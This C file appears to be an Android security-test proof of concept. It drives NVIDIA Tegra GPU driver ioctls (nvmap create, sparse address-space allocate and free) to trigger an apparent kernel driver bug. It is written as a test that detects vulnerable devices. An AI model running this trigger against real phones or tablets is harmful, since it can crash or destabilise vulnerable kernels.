1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <sys/mman.h>
22 #include <errno.h>
23 #include <sys/stat.h>
24 #include <fcntl.h>
25 #include <sched.h>
26 #include <sys/types.h>
27 #include <signal.h>
28 #include <unistd.h>
29 // for syscall
30 #include <sys/syscall.h>
31 // for futex
32 #include <linux/futex.h>
33 #include <sys/time.h>
34 
35 #define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
36 #define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
37 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
38 
39 #define NVMAP_IOC_MAGIC 'N'
40 struct nvmap_create_handle {
41 	union {
42 		__u32 id;	/* FromId */
43 		__u32 size;	/* CreateHandle */
44 		__s32 fd;	/* DmaBufFd or FromFd */
45 	};
46 	__u32 handle;		/* returns nvmap handle */
47 };
48 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
49 
50 struct nvmap_alloc_handle {
51 	__u32 handle;		/* nvmap handle */
52 	__u32 heap_mask;	/* heaps to allocate from */
53 	__u32 flags;		/* wb/wc/uc/iwb etc. */
54 	__u32 align;		/* min alignment necessary */
55 };
56 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
57 
set_affinity(int num)58 static int set_affinity(int num)
59 {
60 	int ret = 0;
61 	cpu_set_t mask;
62 	CPU_ZERO(&mask);
63 	CPU_SET(num, &mask);
64 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
65  	return ret;
66 }
67 
68 #define SZ_128K				0x00020000
69 #define NVHOST_AS_IOCTL_MAGIC 'A'
70 struct nvhost_as_bind_channel_args {
71 	__u32 channel_fd; /* in */
72 } __packed;
73 #define NVHOST_AS_IOCTL_BIND_CHANNEL \
74 	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
75 
76 struct nvhost_as_free_space_args {
77 	__u64 offset; /* in, byte address */
78 	__u32 pages;     /* in, pages */
79 	__u32 page_size; /* in, bytes */
80 };
81 #define NVHOST_AS_IOCTL_FREE_SPACE \
82 	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
83 
84 #define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
85 struct nvhost_as_alloc_space_args {
86 	__u32 pages;     /* in, pages */
87 	__u32 page_size; /* in, bytes */
88 	__u32 flags;     /* in */
89 	__u32 padding;     /* in */
90 	union {
91 		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
92 		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
93 	} o_a;
94 };
95 #define NVHOST_AS_IOCTL_ALLOC_SPACE \
96 	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
97 
98 #define CLOSE_THREAD_NUM	1
99 #define TRY_TIMES		2
100 #define NVMAPDEV	"/dev/nvmap"
101 #define GPUDEV		"/dev/nvhost-gpu"
102 #define ASDEV		"/dev/nvhost-as-gpu"
103 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
104 int nvmap, gpu, asgpu;
105 volatile int attack;
106 
main(void)107 int main(void)
108 {
109 	int i, j, ret;
110 	int dma1, dma2;
111 	struct nvmap_create_handle args = {
112 		.size = PAGE_SIZE
113 	};
114 	struct nvhost_as_bind_channel_args as_bind = { 0 };
115 	struct nvhost_as_alloc_space_args alloc = {
116 		.pages = 1,
117 		.page_size =  SZ_128K,
118 		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
119 	};
120 	struct nvhost_as_free_space_args free_arg = {
121 		.pages = 1,
122 		.page_size = SZ_128K
123 	};
124 
125 	/* bind_cpu */
126 	set_affinity(0);
127 
128 	nvmap = open(NVMAPDEV, O_RDONLY);
129 	if(nvmap == -1) {
130 		ERR("[-] open %s failed", NVMAPDEV);
131 		goto __cleanup;
132 	}
133 	gpu = open(GPUDEV, O_RDONLY);
134 	if(gpu == -1) {
135 		ERR("[-] open %s failed", GPUDEV);
136 		goto __cleanup;
137 	}
138 	asgpu = open(ASDEV, O_RDONLY);
139 	if(asgpu == -1) {
140 		ERR("[-] open %s failed", ASDEV);
141 		goto __cleanup;
142 	}
143 	// bind the channel
144 	as_bind.channel_fd = gpu;
145 	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
146 	if(ret == -1) {
147 		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
148 		goto __cleanup;
149 	} else {
150 		//LOG("[+] ioctl OK, channel is bond");
151 	}
152 
153 	#if 1
154 	// prepare
155 	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
156 	if(ret) {
157 		ERR("[-] NVMAP_IOC_CREATE failed");
158 		goto __cleanup;
159 	}
160 	#endif
161 
162 	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
163 	if(ret) {
164 		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
165 		goto __cleanup;
166 	}
167 	free_arg.offset = alloc.o_a.offset;
168 	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
169 	if(ret) {
170 		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
171 		goto __cleanup;
172 	}
173 
174 __cleanup:
175 	close(nvmap);
176 	close(gpu);
177 	close(asgpu);
178 	return 0;
179 }
180